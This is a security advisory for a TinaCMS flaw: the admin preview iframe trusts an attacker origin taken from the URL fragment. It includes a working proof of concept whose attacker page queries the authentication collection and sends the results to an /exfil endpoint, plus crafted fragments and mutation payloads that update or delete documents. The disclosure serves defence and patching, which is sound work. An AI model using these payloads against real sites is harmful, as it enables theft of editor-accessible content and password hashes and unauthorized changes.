CVE-2026-108261: TinaCMS admin preview iframe loads an attacker-controlled origin from the URL fragment

Summary

The TinaCMS admin builds its preview <iframe src> from the /~/ hash-router splat without checking that the value stays same-origin. A fragment with a doubled slash (#/~//attacker.example/p) becomes the protocol-relative URL //attacker.example/p, so the admin frames an external site. That same unvalidated string derives expectedOrigin, the only trust anchor for the admin↔preview postMessage channel, so the attacker's frame is treated as trusted: it can submit any GraphQL operation, which the admin executes with the signed-in editor's token and posts back to the attacker's origin.

One link, opened by a logged-in editor, gives an unauthenticated remote attacker arbitrary read and write access to the site's content API as that editor.

Details

Root cause — the router splat becomes the frame source with no same-origin check:

packages/tinacms/src/admin/index.tsx:16 HashRouter as Router, packages/tinacms/src/admin/index.tsx:329 path='/~/' packages/tinacms/src/admin/index.tsx:173 const [url, setURL] = React.useState(/${params['']}); packages/tinacms/src/admin/index.tsx:176 const paramURL = /${params['']}; packages/@tinacms/app/src/preview.tsx:24 src={props.url}

The leading / is meant to force a relative path, but react-router-dom@6.30.3 returns the splat with its own leading slash for /~//x, producing //x. The iframe has no sandbox attribute and the admin bundle ships no CSP.

The trust anchor is then computed from that same value:

packages/@tinacms/app/src/lib/graphql-reducer.ts:209-212 getExpectedPreviewOrigin(url) packages/@tinacms/app/src/lib/preview-origin.ts:22 return new URL(url, baseOrigin || undefined).origin; packages/@tinacms/app/src/lib/preview-origin.ts:43-46 event.origin !== expectedOrigin -> reject

Both guards pass for the attacker: event.origin is expectedOrigin, and event.source is the frame the admin itself loaded.

PreviewInner's URL-correction poll (packages/tinacms/src/admin/index.tsx:189-200) does not recover the frame: reading ref.current.contentWindow.location.href across origins throws an uncaught SecurityError, so setReportedURL never fires and no corrective navigate() happens. The PoC below includes that effect verbatim and the attack still completes.

Sink — the attacker's GraphQL string reaches the authenticated client, and the result goes back to the attacker:

packages/@tinacms/app/src/lib/graphql-reducer.ts:613-624 'open' handler; zod validates types only, not query content packages/@tinacms/app/src/lib/graphql-reducer.ts:973-978 cms.api.tina.request(expandedQuery, { variables }) packages/@tinacms/app/src/lib/graphql-reducer.ts:497-505 postMessageToPreview(..., expectedOrigin)

expandQuery (packages/@tinacms/app/src/lib/expand-query.ts:3-18) is operation-agnostic, so mutations pass through unchanged.

Default-enabled: packages/@tinacms/app/src/App.tsx:70 always passes preview={Preview}, and packages/tinacms/src/admin/index.tsx:327 registers /~/ whenever preview is truthy — so the route exists in every tinacms build output and in tinacms dev.

Incomplete-fix note: tinacms@3.9.3 / @tinacms/app@2.5.6 (PR #7056, c491fc5) added the sender-side origin check, but never validated the URL that check compares against.

Affected-range basis, stated plainly: I tested only tinacms@3.12.1 / @tinacms/app@2.5.12 (commit 0d38acf). The ranges below are given as <= because the vulnerable lines are byte-identical across every commit available to me — a 123-commit shallow clone, earliest 8a86ffa (2026-06-26), which predates the 3.9.3 hardening release — but I did not fetch tags or test earlier releases, so the true lower bound is undetermined. Please narrow it from your own history.

Suggested fix: normalise the splat to a same-origin path before it becomes url (reject a leading / or \), and have getExpectedPreviewOrigin refuse any origin other than window.location.origin.

PoC

Safe, local, non-destructive. Two loopback origins stand in for the site and the attacker; no traffic leaves the machine and no content API is contacted. The victim page uses the repository's preview-origin.ts byte-for-byte and reproduces PreviewInner/Preview line-for-line from the cited files; cms.api.tina.request is stubbed to return a marker so no real backend is touched.

Environment used: Linux, Node v22.23.1, Google Chrome (/usr/bin/google-chrome) driven by playwright@1.49.0.

Setup

bash git clone https://github.com/tinacms/tinacms.git tinacms-poc cd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163 REPO=$PWD

mkdir -p /tmp/tina-poc/victim /tmp/tina-poc/attacker && cd /tmp/tina-poc npm init -y >/dev/null npm i --ignore-scripts react@18.3.1 react-dom@18.3.1 react-router-dom@6.30.3 esbuild@0.25.0 playwright@1.49.0

cp "$REPO/packages/@tinacms/app/src/lib/preview-origin.ts" ./preview-origin.ts

victim/admin.tsx — PreviewInner from packages/tinacms/src/admin/index.tsx:170-210, Preview from packages/@tinacms/app/src/preview.tsx:10-26, and the four graphql-reducer.ts steps (:209-212, :548-556, :613-624 + :973-978, :497-505):

tsx import React from 'react'; import { createRoot } from 'react-dom/client'; import { HashRouter as Router, Route, Routes, useNavigate, useParams } from 'react-router-dom'; import { getExpectedPreviewOrigin, isFromTrustedPreviewOrigin, postMessageToPreview } from '../preview-origin';

const log = (m: string, x?: unknown) => console.log('[victim]', x === undefined ? m : ${m} ${JSON.stringify(x)});

// Stand-in for cms.api.tina.request (graphql-reducer.ts:977): in the real admin // this is an authenticated call to the content API with the editor's token. async function tinaRequest(query: string) { log('cms.api.tina.request() called with attacker query', query); return { data: { POCMARKER: 'SIMULATED-AUTHENTICATED-CONTENT-API-RESPONSE' } }; }

function useGraphQLReducer(iframe: React.MutableRefObject<HTMLIFrameElement | null>, url: string) { const expectedOrigin = React.useMemo(() => getExpectedPreviewOrigin(url), [url]); // :209-212 React.useEffect(() => { log('expectedOrigin derived from preview url', { url, expectedOrigin }); (window as any).pocexpectedOrigin = expectedOrigin; }, [expectedOrigin, url]);

const handleMessage = React.useCallback(async (event: MessageEvent<any>) => { if (!isFromTrustedPreviewOrigin({ event, expectedOrigin, peerWindow: iframe.current?.contentWindow })) return; // :548-556 if (event.data.type === 'open') { // :613-624 log('ACCEPTED "open" message from', event.origin); const expandedData = await tinaRequest(event.data.query); // :973-978 postMessageToPreview(iframe.current?.contentWindow, { type: 'updateData', id: event.data.id, data: expandedData.data }, expectedOrigin); // :497-505 log('posted query result to', expectedOrigin); } }, [expectedOrigin]);

React.useEffect(() => { window.addEventListener('message', handleMessage); return () => window.removeEventListener('message', handleMessage); }, [handleMessage]); }

const Preview = (props: { url: string; iframeRef: React.MutableRefObject<HTMLIFrameElement | null> }) => { useGraphQLReducer(props.iframeRef, props.url); return <iframe data-test='tina-iframe' id='tina-iframe' ref={props.iframeRef} className='h-full w-full bg-white' src={props.url} />; // preview.tsx:24 };

const PreviewInner = ({ preview }: { preview: any }) => { // admin/index.tsx:170-210 const params = useParams(); const navigate = useNavigate(); const [url, setURL] = React.useState(/${params['']}); const [reportedURL, setReportedURL] = React.useState<string | null>(null); const ref = React.useRef<HTMLIFrameElement>(null); const paramURL = /${params['']}; React.useEffect(() => { if (reportedURL !== paramURL && paramURL) setURL(paramURL); }, [paramURL]); React.useEffect(() => { if ((reportedURL !== url || reportedURL !== paramURL) && reportedURL) navigate(/~${reportedURL}); }, [reportedURL]); React.useEffect(() => { // admin/index.tsx:189-200 setInterval(() => { if (ref.current) { const url = new URL(ref.current.contentWindow?.location.href || ''); if (url.origin === 'null') { return; } const href = url.href.replace(url.origin, ''); setReportedURL(href); } }, 100); }, [ref.current]); React.useEffect(() => { log('iframe src computed from router splat', { "params['']": params[''], url }); (window as any).pociframeSrc = url; }, [url]); const PreviewCmp = preview; return <div><PreviewCmp url={url} iframeRef={ref} /></div>; };

createRoot(document.getElementById('root')!).render( <Router> <Routes> <Route path='/~/' element={<PreviewInner preview={Preview} />} /> {/ admin/index.tsx:329 /} <Route path='/' element={<div>admin dashboard</div>} /> </Routes> </Router> );

victim/index.html:

html <!doctype html><html><head><title>TinaCMS admin (repro)</title></head> <body><div id="root"></div><script type="module" src="/admin.js"></script></body></html>

attacker/evil.html:

html <!doctype html><html><body> <h1>attacker-controlled page framed by the TinaCMS admin</h1> <script> parent.postMessage({ type: 'open', id: 'poc-1', query: 'query { collection(collection: "authentication") { documents { edges { node { ... on Document { values } } } } } }', variables: {}, data: {} }, ''); window.addEventListener('message', (e) => { if (e.data && e.data.type === 'updateData') { fetch('/exfil?data=' + encodeURIComponent(JSON.stringify(e.data.data)), { mode: 'no-cors' }); } }); </script></body></html>

run.cjs — serves both origins, logs every attacker-server request, and runs a control fragment and the crafted fragment:

js const http=require('http'),fs=require('fs'),path=require('path'),{chromium}=require('playwright'); const VICTIMPORT=8801, ATTACKERPORT=8802, HERE=dirname, attackerHits=[]; function serve(dir,port,onHit){const s=http.createServer((req,res)=>{const u=new URL(req.url,http://127.0.0.1:${port}); if(onHit)onHit(req.method+' '+u.pathname+u.search); if(u.pathname.startsWith('/exfil')){res.writeHead(204).end();return;} const f=path.join(dir,u.pathname==='/'?'/index.html':u.pathname); if(!f.startsWith(dir)||!fs.existsSync(f)){res.writeHead(404).end('nf');return;} res.writeHead(200,{'content-type':f.endsWith('.js')?'text/javascript':'text/html; charset=utf-8'});res.end(fs.readFileSync(f));}); return new Promise(r=>s.listen(port,'127.0.0.1',()=>r(s)));} (async()=>{const v=await serve(path.join(HERE,'victim'),VICTIMPORT); const a=await serve(path.join(HERE,'attacker'),ATTACKERPORT,h=>attackerHits.push(h)); const browser=await chromium.launch({executablePath:'/usr/bin/google-chrome'});const results={}; for(const scenario of ['control','attack']){attackerHits.length=0; const ctx=await browser.newContext();const page=await ctx.newPage();const logs=[]; page.on('console',m=>logs.push(m.text())); const hash=scenario==='control'?'#/~/posts/hello-world':#/~//127.0.0.1:${ATTACKERPORT}/evil.html; await page.goto(http://127.0.0.1:${VICTIMPORT}/index.html${hash});await page.waitForTimeout(2500); results[scenario]={hash, iframeSrc:await page.evaluate(()=>window.pociframeSrc), expectedOriginTrustedByAdmin:await page.evaluate(()=>window.pocexpectedOrigin), framesLoaded:page.frames().map(f=>f.url()), attackerServerHits:[...attackerHits], victimConsole:logs.filter(l=>l.startsWith('[victim]'))}; await ctx.close();} await browser.close();v.close();a.close();console.log(JSON.stringify(results,null,2));})();

Run

bash cd /tmp/tina-poc npx esbuild victim/admin.tsx --bundle --outfile=victim/admin.js --format=esm \ --loader:.tsx=tsx --define:process.env.NODEENV='"production"' node run.cjs

Observed output (captured verbatim)

json { "control": { "hash": "#/~/posts/hello-world", "iframeSrc": "/posts/hello-world", "expectedOriginTrustedByAdmin": "http://127.0.0.1:8801", "framesLoaded": [ "http://127.0.0.1:8801/index.html#/~/posts/hello-world", "http://127.0.0.1:8801/posts/hello-world" ], "attackerServerHits": [], "victimConsole": [ "[victim] expectedOrigin derived from preview url {\"url\":\"/posts/hello-world\",\"expectedOrigin\":\"http://127.0.0.1:8801\"}", "[victim] iframe src computed from router splat {\"params['']\":\"posts/hello-world\",\"url\":\"/posts/hello-world\"}" ] }, "attack": { "hash": "#/~//127.0.0.1:8802/evil.html", "iframeSrc": "//127.0.0.1:8802/evil.html", "expectedOriginTrustedByAdmin": "http://127.0.0.1:8802", "framesLoaded": [ "http://127.0.0.1:8801/index.html#/~//127.0.0.1:8802/evil.html", "http://127.0.0.1:8802/evil.html" ], "attackerServerHits": [ "GET /evil.html", "GET /exfil?data=%7B%22POCMARKER%22%3A%22SIMULATED-AUTHENTICATED-CONTENT-API-RESPONSE%22%7D" ], "victimConsole": [ "[victim] expectedOrigin derived from preview url {\"url\":\"//127.0.0.1:8802/evil.html\",\"expectedOrigin\":\"http://127.0.0.1:8802\"}", "[victim] iframe src computed from router splat {\"params['']\":\"/127.0.0.1:8802/evil.html\",\"url\":\"//127.0.0.1:8802/evil.html\"}", "[victim] ACCEPTED \"open\" message from \"http://127.0.0.1:8802\"", "[victim] cms.api.tina.request() called with attacker query \"query { collection(collection: \\\"authentication\\\") { documents { edges { node { ... on Document { values } } } } } }\"", "[victim] posted query result to \"http://127.0.0.1:8802\"" ] } }

Expected vulnerable output — in attack: iframeSrc protocol-relative, expectedOriginTrustedByAdmin equal to the attacker's origin, a frame served by the attacker, and both GET /evil.html and GET /exfil?data=... on the attacker server. All held.

Control — #/~/posts/hello-world keeps the frame same-origin, keeps expectedOrigin on the victim origin, and produces zero attacker hits. That is what the crafted fragment should also do once fixed.

Supporting check — attacker mutations survive expandQuery and validate against a real Tina schema

bash mkdir -p /tmp/tina-expand && cd /tmp/tina-expand npm init -y >/dev/null && npm i --ignore-scripts graphql@16.8.1 esbuild@0.25.0 cp "$REPO/packages/@tinacms/app/src/lib/expand-query.ts" ./expand-query.ts cat > t.ts <<'EOF' import as G from 'graphql'; import fs from 'fs'; import { expandQuery } from './expand-query'; const schema = G.buildSchema(fs.readFileSync(process.env.SCHEMA!, 'utf-8')); const ops: Record<string,string> = { READ: query { movieConnection { edges { node { values } } } }, MUTATEUPDATE: mutation { updateDocument(collection: "movie", relativePath: "movie1.json", params: {movie: {title: "pwned"}}) { typename } }, MUTATEDELETE: mutation { deleteDocument(collection: "movie", relativePath: "movie1.json") { typename } }, }; for (const [n, op] of Object.entries(ops)) { const printed = G.print(expandQuery({ schema, documentNode: G.parse(op) })); const errs = G.validate(schema, G.parse(printed)); console.log(--- ${n} ---); console.log('survives expandQuery + validates against the real Tina schema:', errs.length === 0); console.log('operation kept:', (G.parse(printed).definitions[0] as any).operation); } EOF npx esbuild t.ts --bundle --platform=node --outfile=t.cjs --format=cjs >/dev/null SCHEMA="$REPO/packages/@tinacms/graphql/src/spec/movies-with-datalayer/.tina/generated/schema.gql" node t.cjs

Observed output:

--- READ --- survives expandQuery + validates against the real Tina schema: true operation kept: query --- MUTATEUPDATE --- survives expandQuery + validates against the real Tina schema: true operation kept: mutation --- MUTATEDELETE --- survives expandQuery + validates against the real Tina schema: true operation kept: mutation

Supporting check — router splat behaviour

bash mkdir -p /tmp/tina-rr && cd /tmp/tina-rr && npm init -y >/dev/null npm i --ignore-scripts react-router-dom@6.30.3 react@18.3.1 react-dom@18.3.1 cat > t.cjs <<'EOF' const { matchPath } = require('react-router-dom'); for (const p of ['/~/posts/hello','/~//evil.example','/~/%2F%2Fevil.example']) { const s = matchPath({ path: '/~/' }, p)?.params['']; console.log(JSON.stringify(p), '=> params[""] =', JSON.stringify(s), '=> url =', JSON.stringify('/' + s)); } EOF node t.cjs

Observed output:

"/~/posts/hello" => params[""] = "posts/hello" => url = "/posts/hello" "/~//evil.example" => params[""] = "/evil.example" => url = "//evil.example" "/~/%2F%2Fevil.example" => params[""] = "//evil.example" => url = "///evil.example"

Scope of the proof. Executed and observed here: the protocol-relative url, the cross-origin frame load, the attacker origin becoming expectedOrigin, the repository's real isFromTrustedPreviewOrigin accepting the attacker's message, the attacker's operation string reaching the request function, the response being delivered to the attacker's origin, and attacker mutations validating against a repository-provided generated schema. Not executed: a call against a live TinaCloud or self-hosted backend — cms.api.tina.request was stubbed deliberately so the PoC contacts no external service and writes no data.

Cleanup

bash rm -rf /tmp/tina-poc /tmp/tina-expand /tmp/tina-rr

All three PoCs were re-run after this report was drafted; the outputs above are those runs.

Impact

Origin validation error leading to a confused-deputy abuse of the content API. An unauthenticated remote attacker needs only to get a signed-in TinaCMS editor to open one link — the payload lives in the URL fragment, so it never reaches the server or its logs. The attacker then reads anything the editor can read (including, on self-hosted setups, the authentication collection holding PBKDF2 password hashes) and performs any mutation the editor can perform (updateDocument, createDocument, deleteDocument), with results delivered to the attacker's own origin. Two boundaries are crossed: the browser same-origin policy, and the content API's authorization.

Impacted: every deployment serving the TinaCMS admin bundle (tinacms build output or tinacms dev). No configuration disables the /~/ route.

Credits

- Thai Son Dinh from VinSOC Labs (R&D)